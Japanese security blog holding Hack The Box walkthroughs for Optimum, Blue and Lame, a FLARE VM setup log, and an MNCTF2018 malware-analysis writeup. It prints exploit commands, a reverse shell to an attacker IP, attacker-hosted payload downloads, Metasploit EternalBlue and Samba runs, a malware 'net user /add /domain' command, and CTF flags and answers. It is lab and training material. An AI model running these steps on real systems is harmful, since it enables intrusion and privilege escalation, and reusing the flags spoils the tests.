セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Optimum Walkthrough

はじめに

  • マシン名:Optimum
  • OS:Windows
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.8

ポートスキャン

# nmap -A 10.10.10.8

f:id:Paichan:20200415232055p:plain 80(http)ポートが開いている。

ブラウザで80番ポートへアクセス

ブラウザで80番ポートへアクセス。Searchの入力フォームに記号や文字列を入力したが、 特におかしな挙動はない。 f:id:Paichan:20200415232707p:plain

HFS 2.3の脆弱性調査

nmapの結果や、ブラウザでアクセスした際にも表示されていたHttpFileServer(HFS)2.3の脆弱性を調査する。

# searchsploit hfs 2.3

f:id:Paichan:20200415232951p:plain pythonスクリプトが用意されているRemote Command Execution(2)(39161.py)を使ってみる。

39161.pyの利用

39161.pyをカレントディレクトリにコピーし、使用方法を把握するために中身を確認する。

# cp /usr/share/exploitdb/exploits/windows/remote/39161.py .
# cat 39161.py

f:id:Paichan:20200415235924p:plain

とのこと。また、コード内にはリスナーとして待ち受けるIP、ポートを指定する箇所があった。 つまり、このエクスプロイトコードを実行するための手順は以下。

  1. nc.exeを配置したWebサーバを起動
  2. リバースシェルを待ち受けるリスナーのIP、ポートを指定
  3. 2で指定したポートで待ち受け
  4. エクスプロイトコード実行

1. nc.exeを配置したWebサーバを起動

nc.exeの場所を探し、カレントディレクトリへコピーする。

# locate nc.exe
# cp /usr/share/windows-resources/binaries/nc.exe .

f:id:Paichan:20200416002048p:plain このディレクトリ上でWebサーバを起動。

# python -m SimpleHTTPServer 80

2. リバースシェルを待ち受けるリスナーのIP、ポートを指定

待ち受けるIPを攻撃端末の10.10.14.21、ポートを8080に指定。 f:id:Paichan:20200416002649p:plain

3. 2で指定したポートで待ち受け

# nc -lvp 8080

4. エクスプロイトコード実行

準備が整ったので、エクスプロイトコードを実行。すると、3で待ち受けた8080ポートにシェルが返ってきた(画像右下)。

# python 39161.py 10.10.10.8 80

f:id:Paichan:20200416003749p:plain

デスクトップ上にあるuser.txt.txtを取得。

dir
type user.txt.txt

f:id:Paichan:20200416004100p:plain

権限昇格のための脆弱性調査

権限昇格のための脆弱性調査のために、Windows-Exploit-Suggester(※)を使う。
マイクロソフト脆弱性データベースと比較し、ターゲット端末で欠落しているパッチを検出。利用可能なエクスプロイトコードやMetasploitモジュールがあるかどうかを通知するツール

リポジトリを取得し、Windows-Exploit-Suggesterのデータベースをアップデートする。アップデートを行うとデータベースファイル(xls)が生成される。

# git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
# cd Windows-Exploit-Suggester/
# python windows-exploit-suggester.py --update

f:id:Paichan:20200416011131p:plain

xlrdモジュールが必要なため、インストールする。 その前に、kali linuxにpipが入っていなかったため、まずはpipをインストール。

# curl "https://bootstrap.pypa.io/get-pip.py" -o "get-pip.py"
# python get-pip.py

pipインストール後、xlrdモジュールのインストール。

# pip install xlrd --upgrade

f:id:Paichan:20200416012246p:plain

Windows-Exploit-Suggesterはターゲット環境のsysteminfoコマンドの実行結果が必要であるため、実行結果をsysteminfo.txtとして保存する。

systeminfo

Host Name: OPTIMUM
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00252-70000-00000-AA535
Original Install Date: 18/3/2017, 1:51:36
System Boot Time: 19/4/2020, 10:36:32
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest
Total Physical Memory: 4.095 MB
Available Physical Memory: 3.463 MB
Virtual Memory: Max Size: 5.503 MB
Virtual Memory: Available: 4.912 MB
Virtual Memory: In Use: 591 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: \OPTIMUM otfix(s): 31 Hotfix(s) Installed.
[01]: KB2959936
[02]: KB2896496
[03]: KB2919355
[04]: KB2920189
[05]: KB2928120
[06]: KB2931358
[07]: KB2931366
[08]: KB2933826
[09]: KB2938772
[10]: KB2949621
[11]: KB2954879
[12]: KB2958262
[13]: KB2958263
[14]: KB2961072
[15]: KB2965500
[16]: KB2966407
[17]: KB2967917
[18]: KB2971203
[19]: KB2971850
[20]: KB2973351
[21]: KB2973448
[22]: KB2975061
[23]: KB2976627
[24]: KB2977629
[25]: KB2981580
[26]: KB2987107
[27]: KB2989647
[28]: KB2998527
[29]: KB3000850
[30]: KB3003057
[31]: KB3014442
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.8
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.

以下のコマンドで実行すると、欠落しているパッチが表示される。

# python windows-exploit-suggester.py --database 2020-04-13-mssb.xls --systeminfo systeminfo.txt

f:id:Paichan:20200416224509p:plain

権限昇格

簡単そうだったので、上から2番目のMS16-098のエクスプロイトコードを使うことにした。
エクスプロイトコードのあるURLにいくと、バイナリファイルが記載されたURLが記載されている。 f:id:Paichan:20200416225632p:plain

このバイナリをダウンロードし、バイナリを配置したディレクトリ上でWebサーバを起動する。

# wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
# python -m SimpleHTTPServer 80

f:id:Paichan:20200416230030p:plain

ターゲット端末のシェル上でpowershellを実行し、攻撃者端末に配置したバイナリを持ってくる。 ダウンロードしたバイナリを実行することで権限昇格が成功する。

powershell wget http://10.10.14.21/41020.exe -outfile 41020.exe
dir
41020.exe
whoami

f:id:Paichan:20200416230350p:plain

これでデスクトップ上にあるroot.txtが取得できる。

type root.txt

f:id:Paichan:20200416230450p:plain

user.txt:d0c39409d7b994a9a1389ebf38ef5f73
root.txt:51ed1b36553c8461f4552c2e92b3eeed

【Hack The Box】Blue Walkthrough

はじめに

  • マシン名:Blue
  • OS:Windows
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.40

ポートスキャン

マシン名からしてEternalblue(MS17-010)の脆弱性があるんだろうなと思いながら、ポートスキャンを実行。

# nmap -A 10.10.10.40

f:id:Paichan:20200412234858p:plain 135(msrpc)、139(netbios-ssn)、445(microsoft-ds)、49152~49167(netbios-ssn)が開いている。

445ポートの脆弱性調査

NSEを使って、445ポートの脆弱性を調べる。

# nmap --script vuln -p 445 10.10.10.40

f:id:Paichan:20200412235102p:plain 予想通り、MS17-010がVULNERABLEと判定された。

MS17-010の調査

MetasploitでMS17-010の脆弱性を突くエクスプロイトコードを探してみる。

# msfconsole
msf5 > search ms17-010
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

f:id:Paichan:20200412235505p:plain エクスプロイトコードの実行は成功し、ターゲット端末のシェルを獲得できた。

後はharisユーザのデスクトップ上にあるuser.txtとAdministratorユーザのデスクトップ上にあるroot.txtの中身を取得して終了。 f:id:Paichan:20200412235903p:plain f:id:Paichan:20200413000011p:plain

user.txt:4c546aea7dbee75cbd71de245c8deea9
root.txt:ff548eb71e920ff6c08843ce9df4e717

【Hack The Box】Lame Walkthrough

はじめに

  • マシン名:Lame
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.3

ポートスキャン

ポートスキャンを実行。

# nmap -A 10.10.10.3

f:id:Paichan:20200412225541p:plain 21(ftp)、22(ssh)、139(netbios-ssn)、445(netbios-ssn)が開いている。

vsftpd 2.3.4の調査

21番ポートで検出したvsftpd 2.3.4のエクスプロイトコードを探してみる。

# searchsploit vsftpd 2.3.4

f:id:Paichan:20200412230854p:plain Metasploitにエクスプロイトコードがあるようだ。

# msfconsole
msf5 > search vsftpd 2.3.4
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 > set RHOSTS 10.10.10.3
msf5 > show options
msf5 > exploit

f:id:Paichan:20200412231240p:plain コードは実行できたが、セッションが確立できなかったので失敗。 別のポートを調査する。

Samba smbd 3.0.20の調査

445番ポートで検出したSamba smbd 3.0.20のエクスプロイトコードを探してみる

# searchsploit samba 3.0.20

f:id:Paichan:20200412232154p:plain これもMetasploitにエクスプロイトコードがあるようだ。

# msfconsole
msf5 > search samba 3.0.20
msf5 > use exploit/multi/samba/usermap_script 
msf5 > set RHOSTS 10.10.10.3
msf5 > set RPORT 445
msf5 > exploit

※payloadを指定しないとMetasploitが判断して勝手に設定してくれる。

エクスプロイトコード実行後、rootとして任意のコマンドが実行できるようになった。 後は以下の流れでuser.txtとroot.txtの中身が取得できた。

cd /home
ls
cd makis
ls
cat user.txt
cd /root
ls
cat root.txt

f:id:Paichan:20200412232943p:plain

user.txt:69454a937d94f5f0225ea00acd2e84c5
root.txt:92caac3be140ef409e45721348a4e9df

FLARE VMをWindows10に構築してみた

今更ながら、マルウェア解析環境でお馴染みのFLARE VMをWindows10環境に構築したため、その流れをメモ。

FLARE VMとは

FireEye社のFLARE(FireEye Labs Advanced Reverse Engineering)チームが提供している、Windowsベースの解析環境イメージ。解析に用いる様々なツールがインストールされており、Windowsのパッケージ管理ツールであるChocolateyを用いて、いつでも新しいパッケージを手動で追加することもできる。

構築した環境

FLARE VMVM内で構築することを想定されている。今回は以下の環境で構築した。

手順

以下を参考に進めた。
GitHub - fireeye/flare-vm

1. Windowsアップデートを行い、最新の状態にする

2.(失敗時に振り出しに戻れるように)スナップショットをとっておく

3. 上記リンクからinstall.ps1をダウンロード

4. PowerShellスクリプト実行ポリシーを変更する
 PowerShellスクリプト実行ポリシーはデフォルトだとRestrictedとなっている。管理者権限で起動したPowerShell上で以下を実行し、ポリシーをUnrestrictedに変更する。

PS C:\Windows\system32> Set-ExecutionPolicy Unrestricted

実行ポリシーの変更
実行ポリシーは、信頼されていないスクリプトからの保護に役立ちます。実行ポリシーを変更すると、about_Execution_Policies
のヘルプ トピック (https://go.microsoft.com/fwlink/?LinkID=135170)
で説明されているセキュリティ上の危険にさらされる可能性があります。実行ポリシーを変更しますか?
[Y] はい(Y)  [A] すべて続行(A)  [N] いいえ(N)  [L] すべて無視(L)  [S] 中断(S)  [?] ヘルプ (既定値は "N"): Y
PS C:\Windows\system32>

ポリシーが変更できたかは、以下で確認できる。

PS C:\Windows\system32> Get-ExecutionPolicy
Unrestricted

5. "4."でダウンロードしたinstall.ps1を実行する

PS C:\Users\win10user\Desktop> .\install.ps1 -password [パスワード]

※インストール中にホストの再起動を自動化するために管理者のパスワード入力を求められる。そこを省略するために引数にパスワードを渡した。

あとは永遠に待てば勝手に進む。22時に開始ししたが2時の段階では終わってなかった。
翌朝確認したらPowerShell上に以下の文字列が表示されていたたので、ENTERを押して終了。

Type ENTER to exit:

再起動したら、FLARE VMのデスクトップに変わった。

追加パッケージのインストール

デスクトップにあるFLAREフォルダを見てみると、procmonやprocexplorerなどのsysinternalsツールたちがちゃんとインストールできていなかった。
結局以下のコマンドで自力で入れなおした。(管理者権限のPowerShellで)

PS C:\Windows\system32> choco install sysinternals

他にも、以下のツールを入れた。

PS C:\Windows\system32> choco install exiftool, trid, grep, stirling-jp

またカスタマイズしたら追記予定。

MNCTF2018 writeup

今更ながらMNCTF2018をやったのでそのWriteup。
f:id:Paichan:20200103233137p:plain

練習問題

「MNCTF2018」が答えです。下の欄に入力して解答してください。

問題文にある文字列を入れるだけ。
MNCTF2018

新人奮闘Ⅰ

7月から株式会社マクニキのCSIRTに配属された新人のとだ君は、さっそく仕事が与えられました。サーバ管理者のこばやし君がADの最適化ツールと思い込み、誤ってマルウェアを実行してしまいました。ファイル名は「AD_OptimizationTool.exe」で、ADサーバ上、ドメイン管理者権限で実行してしまいました。とだ君はこばやし君からマルウェアを受け取り、さっそくマルウェアの解析に挑みます。 まずはマルウェアののSHA-256のハッシュ値を求めてください。

sha256sumコマンドで、SHA-256ハッシュ値を求める。

root@kali:/tmp/mnctf2018# sha256sum AD_OptimizationTool.exe 
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 AD_OptimizationTool.exe

f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29

新人奮闘Ⅱ

とだ君は「AD_OptimizationTool.exe」の解析レポートを書こうとしています。ここにアクセスして、手伝ってあげてください。※すべての項目を入力すると正解が得られます。

空欄部分を穴埋めすればフラグが出てくるらしい。
f:id:Paichan:20200104002500p:plain

ハッシュ値はそれぞれmd5sumsha1sumsha256sumで出した。

root@kali:/tmp/mnctf2018# md5sum AD_OptimizationTool.exe 
541427a9dbe43b10c05b856cdcdc5ba6  AD_OptimizationTool.exe
root@kali:/tmp/mnctf2018# sha1sum AD_OptimizationTool.exe 
e0fa838e0f191f97c5dac7a831af60d750432017  AD_OptimizationTool.exe
root@kali:/tmp/mnctf2018# sha256sum AD_OptimizationTool.exe 
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29  AD_OptimizationTool.exe

MD5541427a9dbe43b10c05b856cdcdc5ba6
SHA1e0fa838e0f191f97c5dac7a831af60d750432017
SHA256:f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29

ファイルサイズはls-lオプションをつけて出した。

root@kali:/tmp/mnctf2018# ls -l AD_OptimizationTool.exe 
-rw-r--r-- 1 root root 2048  7月 11  2018 AD_OptimizationTool.exe

ファイルサイズ(バイト):2048

コンパイル日時(UTC)はPEviewの以下を確認。
IMAGE_NT_HEADERS→IMAGE_FILE_HEADER→Time Data Stamp
f:id:Paichan:20200104003606p:plain
コンパイル日時(UTC):2018/07/11 10:46:08

Import関数はPEviewの以下を確認。
SECTION .import→IMPORT Address Table
f:id:Paichan:20200104003803p:plain

ExitProcess kernel32.dll
Sleep kernel32.dll
ShellExecuteA shell32.dll
MessageBoxA user32.dll

全部穴埋めするとフラグが表示された。
d56d9a6036bd18ee98878eb74ae8d663

新人奮闘Ⅲ

とだ君はマルウェア解析を継続し、マルウェアを実行するとコマンドが実行されることに気づきました。コマンドは何でしょうか?コマンド全体を入力してください。

stringsコマンドを実行。

root@kali:/tmp/mnctf2018# strings AD_OptimizationTool.exe 
!This program cannot be run in DOS mode.
.text
 .data
@.import
hO @
hK @
h| @
AD Optimizer
Optimization successfuly finished.\nThe speed increased 176%.
/c net user /add /domain vpnadmin P@ssw0rD1!
open
kernel32.dll
shell32.dll
user32.dll
ExitProcess
Sleep
ShellExecuteA
MessageBoxA
root@kali:/tmp/mnctf2018#

net user /add /domain vpnadmin P@ssw0rD1!

新人奮闘Ⅳ

とだ君はコマンドを調査した結果、ADと連携しているVPNシステムに不正ログインされている可能性を考えて、VPNのログを調査するとにしました。マルウェア解析で分かった情報と照らし合わせて、不正ログインされている時刻を答えてください(YYYY/MM/DD hh:mm形式)

新人奮闘Ⅲの実行コマンドより、vpnadminという名前でユーザ登録されているので、このユーザでログインしているのが怪しい。grepする。

root@kali:/tmp/mnctf2018# cat vpn20180712.log.txt | grep vpnadmin
2018/07/13 15:01,vpnadmin,27.117.128.1

2018/07/13 15:01

新人奮闘Ⅴ

とだ君は不正ログインのIPアドレスを元に攻撃元の国を調べました。どの国でしょうか?日本語で解答してください。

新人奮闘IVより、アクセス元のIPアドレスは27.117.128.1
GeoIP2 Database Demo | MaxMind
というサービスを使った。
f:id:Paichan:20200104170645p:plain

韓国

大量不正

株式会社マクニキのCSIRT担当てしがわら君は、過去に自社内に見つけたマルウェアの断片を調査してみることにした。このマルウェア群から、類似性の高い組み合わせを見つけて、そのファイル名をハイフンでつなげて答えてください。
例)sample1.bin-sample2.bin

zipのパスワードは「infected」です。

類似性ということで、ssdeepを使用。

PS C:\MNCTF2018> .\ssdeep.exe -bcdr C:\Users\win10user\Desktop\malwares\malware
"sample68.bin","sample1.bin",99

sample1.bin-sample68.bin

種類特定

株式会社マクニキのCSIRT担当のてしがわら君は、海外拠点のエンジニアからマルウェア感染の連絡を受けました。先方からは、マルウェアの種類が特定できておらず、右往左往しています。サンドボックス上でマルウェアを動作させた際のマルウェアの通信はこちらです。パケットから、マルウェアの名前を特定してください。英字で解答してください。

通信先が"/imageas/ランダムな文字列/ランダムな文字列・・・"のように特徴的だったため、
マルウェア /images/」とかで調べたら「URSNIF(別名:GOZI)」とでた。

URSNIF

標的攻撃Ⅰ

ある日、株式会社マクニキにフィッシングメールのが届きました。メールを転送されたてしがわら君はその添付ファイル「製品価格一覧20180711.xls」を解析した。しかし、残念ながら、サンドボックス上では解析はできなかったため、手動で解析するととにしました。 特定のユーザ名の環境でないと動作しないようです。ファイルを調査して動作条件であるユーザ名を特定してください。(複数ある場合は一つのみ回答してください)。

パスワードは「infected」です。

マクロが含まれているようだ。excelで開発タブを表示し、Visual Basicからマクロを見た。
C6-C11の文字列と比較して、一致した場合、動くようなマクロ。
f:id:Paichan:20200104171226p:plain

C列は非表示になっていたため表示させて、文字に色を付けるといくつかのユーザ名があった。
f:id:Paichan:20200104171241p:plain

Yasu Kobayashi

標的攻撃Ⅱ

「製品価格一覧20180711.xls」の攻撃が発動すると、HTTPSの通信が発生します。そのURLを回答してください。

HTTPSの通信先を求める。マクロに埋め込まれていたのでそれが答え。

https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert

標的攻撃Ⅲ

「製品価格一覧20180711.xls」の動作を終えると、別のファイルが生成され、そこから2次検体が生成されます。2次検体のSHA256ハッシュ値を調べてください。

マクロを見ると、以下のようなことをやっている。
・取得したコンテンツを「cert.pem」として保存。
certutilコマンドでデコードし、「cert.exe」として保存。(certutil -decode [入力ファイル] [出力ファイル])

Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe"""

同様の動きを、手動で行った。

PS C:\MNCTF2018> certutil -decode .\cert.pem cert.exe
入力長 = 98458
出力長 = 73802
CertUtil: -decode コマンドは正常に完了しました。

sha256を出す。

root@kali:/etc/apt# sha256sum cert.exe 
c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382  cert.exe

c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382

標的攻撃Ⅳ

2次検体を実行すると、HTTPSの通信が発生します。最初の通信のURLを調べてください。

ProcessMonitorを起動しながら実行すると、コマンドプロンプトが一瞬立ち上がり、消える。
ProcessMonitorのtreeを見てみると、以下のようなコマンドが実行されていた。
f:id:Paichan:20200104171932p:plain

https://shinobotps1.com/download_get.php

穴埋防御

株式会社マクニキのCSIRT担当のてしがわら君は不審なファイルを社内のサーバから見つけました。セキュリティベンダーに解析をお依頼したところ、最終的なマルウェアを検知するためのメモリをスキャンするためのYaraルールが提供されました。しかし、Yaraルールは一部欠けており、そのままでは使えません。マルウェアを解析し、Yaraルールを完成させてください。★に入る文字列を回答してください。

不審なファイルはbase64エンコードされていたようなので、デコード。

PS C:\MNCTF2018> certutil -f -decode .\Mutant.txt .\decode_Mutant.txt
入力長 = 352616
出力長 = 264462
CertUtil: -decode コマンドは正常に完了しました。

Powershellスクリプトらしきものが出力された。
このスクリプトの株にはまたbase64エンコードされていると思われる文字列がある。
f:id:Paichan:20200104172235p:plain
さらに、XOR(キーは0x17)で演算されているようだ。
f:id:Paichan:20200104172411p:plain
CyberChefを使うと、先頭に、実行ファイルのマジックナンバーであるMZが出てきた。
f:id:Paichan:20200104172532p:plain
これを保存し(今回はoutput.exeとした)、ProcessExplorerを起動した状態で実行する。

View→Show Lower Paneとするとmutantに文字列が見つかった。
f:id:Paichan:20200104172911p:plain

1q2w3e4r0o9i8u7y6t

盗難情報

株式会社マクニキのCSIRT担当のてしがわら君は攻撃者が残したファイルを入手しました。調査したセキュリティベンダー曰く、攻撃者はC&Cサーバに情報をアップロードする際にファイルを暗号化するとのことで、以下のアルゴリズムで暗号化されたものらしい。
XOR(シングルバイトキー)→ Base64 → ROT13
同攻撃者はマクニキの新製品情報を狙ったとみられています。ファイルを復号して、新製品の製品型番を答えてください。

XOR→base64→rot13というアルゴリズムエンコードされているとのこと。
CyberChefで逆からデコードしていく。

XORbruteforceをしたら、keyが15で"PNG"や"IHDR"の文字列が。
f:id:Paichan:20200104173048p:plain
よって、keyを15にした状態でファイルを保存すると画像が取り出せる。
f:id:Paichan:20200104173109p:plain

NEJI_190_3GM